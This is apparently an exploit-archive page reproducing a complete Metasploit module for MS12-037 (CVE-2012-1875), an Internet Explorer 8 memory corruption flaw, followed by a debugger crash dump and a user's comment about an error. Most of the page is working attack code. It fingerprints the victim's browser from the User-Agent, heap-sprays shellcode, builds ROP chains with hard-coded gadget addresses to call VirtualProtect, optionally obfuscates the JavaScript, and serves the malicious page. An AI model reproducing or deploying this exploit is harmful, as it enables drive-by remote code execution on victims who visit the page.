Exploit the possiblities

MS12-037 Internet Explorer Same ID Property Deleted Object Handling Memory Corruption

MS12-037 Internet Explorer Same ID Property Deleted Object Handling Memory Corruption
Posted Jun 14, 2012
Authored by juan vazquez, Qihoo 360 Security Center, Dark Son, Google Inc, Yichong Lin | Site metasploit.com

This Metasploit module exploits a memory corruption flaw in Internet Explorer 8 when handling objects with the same ID property. At the moment this module targets IE8 over Windows XP SP3 through the heap massaging plus heap spray as exploited in the wild.

tags | exploit
systems | windows, xp
advisories | CVE-2012-1875, OSVDB-82865
MD5 | bfb23efabe40ee9a695408e08e52ae8e

MS12-037 Internet Explorer Same ID Property Deleted Object Handling Memory Corruption

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info={})
super(update_info(info,
'Name' => "MS12-037 Internet Explorer Same ID Property Deleted Object Handling Memory Corruption",
'Description' => %q{
This module exploits a memory corruption flaw in Internet Explorer 8 when
handling objects with the same ID property. At the moment this module targets
IE8 over Windows XP SP3 through the heap massaging plus heap spray as exploited
in the wild.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Dark Son ', # Vulnerability discovery
'Qihoo 360 Security Center', # Vulnerability discovery
'Yichong Lin', # Vulnerability discovery
'Google Inc.', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'MSB', 'MS12-037'],
[ 'CVE', '2012-1875' ],
[ 'OSVDB', '82865'],
[ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/ongoing-attacks-exploiting-cve-2012-1875/'],
[ 'URL', 'https://twitter.com/binjo/status/212795802974830592' ] # Exploit found in the wild
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'DisableNops' => true
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[
'IE 8 on Windows XP SP3 with msvcrt ROP',
{
'Rop' => :msvcrt,
'RopOffset' => '0x5f4',
'Ret' => 0x77c15ed5 # xchg eax, esp # ret # from msvcrt.dll
}
],
[
'IE 8 on Windows XP SP3 with JRE ROP',
{
'Rop' => :jre,
'RopOffset' => '0x5f4',
'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
}
],
[
'IE 8 on Windows 7 SP1 with JRE ROP',
{
'Rop' => :jre,
'RopOffset' => '0x5f4',
'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
}
],
],
'Privileged' => false,
'DisclosureDate' => "Jun 12 2012",
'DefaultTarget' => 0))

register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)

end

def get_target(agent)
# If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'

if agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
#Windows XP SP3 + IE 8.0
return targets[1]
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/
#Windows 7 SP1 + IE 8.0
return targets[3]
else
return nil
end
end

def junk(n=4)
return rand_text_alpha(n).unpack("V").first
end

def nop
return make_nops(4).unpack("V").first
end

def ret(t)
case t['Rop']
when :msvcrt
return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll
when :jre
return [ 0x7c347f98 ].pack("V") # RETN (ROP NOP) # msvcr71.dll
end
end

def popret(t)
case t['Rop']
when :msvcrt
return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll
when :jre
return [ 0x7c376541 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcr71.dll
end
end

def get_rop_chain(t)

adjust = ret(t) * 27
adjust << popret(t)
adjust << [t.ret].pack("V") # stackpivot

# Both ROP chains generated by mona.py - See corelan.be
case t['Rop']
when :msvcrt
print_status("Using msvcrt ROP")
rop =
[
0x77c4e392, # POP EAX # RETN
0x77c11120, # <- *&VirtualProtect()
0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
junk,
0x77c2dd6c,
0x77c4ec00, # POP EBP # RETN
0x77c35459, # ptr to 'push esp # ret'
0x77c47705, # POP EBX # RETN
0x00001000, # EBX
0x77c3ea01, # POP ECX # RETN
0x77c5d000, # W pointer (lpOldProtect) (-> ecx)
0x77c46100, # POP EDI # RETN
0x77c46101, # ROP NOP (-> edi)
0x77c4d680, # POP EDX # RETN
0x00000040, # newProtect (0x40) (-> edx)
0x77c4e392, # POP EAX # RETN
nop, # NOPS (-> eax)
0x77c12df9, # PUSHAD # RETN
].pack("V*")

when :jre
print_status("Using JRE ROP")
rop =
[
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
0x00001000, # (dwSize)
0x7c347f98, # RETN (ROP NOP)
0x7c3415a2, # JMP [EAX]
0xffffffff,
0x7c376402, # skip 4 bytes
0x7c345255, # INC EBX # FPATAN # RETN
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
0x7c344f87, # POP EDX # RETN
0x00000040, # flNewProtect
0x7c34d201, # POP ECX # RETN
0x7c38b001, # &Writable location
0x7c347f97, # POP EAX # RETN
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
0x7c345c30, # ptr to 'push esp # ret '
].pack("V*")
end

code = adjust
code << rop
return code

end

def on_request_uri(cli, request)

agent = request.headers['User-Agent']
my_target = get_target(agent)

# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("Browser not supported: #{agent}")
send_not_found(cli)
return
end

print_status("Client requesting: #{request.uri}")

p = payload.encoded

js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
js_padding = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(my_target.arch))
js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))
js_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

js_spray = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var rop_chain = unescape("#{js_rop}");
var random = unescape("#{js_padding}");
var nops = unescape("#{js_nops}");

while (random.length < 0x80000) random += random;
while (nops.length < 0x80000) nops += nops;

var padding = random.substring(0, #{my_target['RopOffset']}-code.length);
var shellcode = code + padding + rop_chain + nops.substring(0, 0x800-code.length-padding.length-rop_chain.length);

while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();
for (var z=1; z < 0x385; z++) {
heap_obj.alloc(block);
}
JS

js_spray = heaplib(js_spray, {:noobfu => true})

trigger_f = "trigger"
feng_shui_f = "feng_shui"
crash_f = "crash"
unescape_f = "do_unescape"
main_f = "main"
a_id = "MyA"
danger_id = "imgTest"

if datastore['OBFUSCATE']
js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
js_spray.obfuscate

trigger_f = rand_text_alpha(rand(5) + 4)
feng_shui_f = rand_text_alpha(rand(5) + 4)
crash_f = rand_text_alpha(rand(5) + 4)
unescape_f = rand_text_alpha(rand(5) + 4)
main_f = rand_text_alpha(rand(5) + 4)
a_id = rand_text_alpha(rand(5) + 4)
danger_id = rand_text_alpha(rand(5) + 4)
end

html = %Q|
<HTML>
<BODY>
<title></title>
<DIV id=testfaild>
<img id="#{danger_id}" style="display:none">
<a href="javascript:#{feng_shui_f}();" id="#{a_id}" onClick="#{feng_shui_f}();">
<div style="background-color:#FFFFFF; width:30; height:40" id="#{danger_id}" src="" onMouseOver="#{crash_f}();" onMouseOut="#{crash_f}();">
</div>
</a>
</DIV>
<SCRIPT LANGUAGE="JavaScript">
function #{unescape_f}(dword) {
var t = unescape;
var d = Number(dword).toString(16);
while (d.length < 8) d = '0' + d;
return t('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
}
function #{feng_shui_f}() {
var tag = 0x1c1c1c0c;
var vtable1 = #{unescape_f}(tag) + '1234567555555555588888888';
var divs = new Array();
for (var i = 0; i < 128; i++) divs.push(document.createElement('div'));
testfaild.innerHTML = testfaild.innerHTML;
divs[0].className = vtable1;
divs[1].className = vtable1;
divs[2].className = vtable1;
divs[3].className = vtable1;
}
function #{crash_f}() {
eval("#{danger_id}").src = "";
}
function #{trigger_f}() {
var x = document.getElementsByTagName("div");
var fireOnThis = document.getElementById("#{a_id}");
if (document.createEvent) {
evObj = document.createEvent('MouseEvents');
evObj.iniEvent('click', true, false);
fireOnThis.dispatchEvent(evObj);
} else if (document.createEventObject) {
x[1].fireEvent('onMouseOver');
fireOnThis.fireEvent('onclick');
x[1].fireEvent('onMouseOut');
}
}
function #{main_f}() {

#{js_spray}
setTimeout("#{trigger_f}();", 1000);

}
#{main_f}();
</SCRIPT>
</BODY>
</HTML>
|

html = html.gsub(/^\t\t\t/, '')

print_status("Sending html")
send_response(cli, html, {'Content-Type'=>'text/html'})
end

end


=begin
* crash
(a9c.998): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export
symbols for C:\WINDOWS\system32\mshtml.dll -
eax=1c1c1c0c ebx=00000000 ecx=02fdf588 edx=00000001 esi=02fdf588 edi=020bbaf0
eip=6363fcc6 esp=020bba88 ebp=020bba94 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!DllGetClassObject+0xafd09:
6363fcc6 8b5070 mov edx,dword ptr [eax+70h]
ds:0023:1c1c1c7c=????????
=end

Comments (1)

RSS Feed Subscribe to this comment feed
khafre

Hey, I keep getting
"Exception handling request: wrong number of arguments (2 for 1)"

that's for both JRE ROP and msvcrt ROP.

am i doing something wrong?

Thanks

Comment by khafre
2012-06-15 18:57:12 UTC | Permalink | Reply
Login or Register to post a comment

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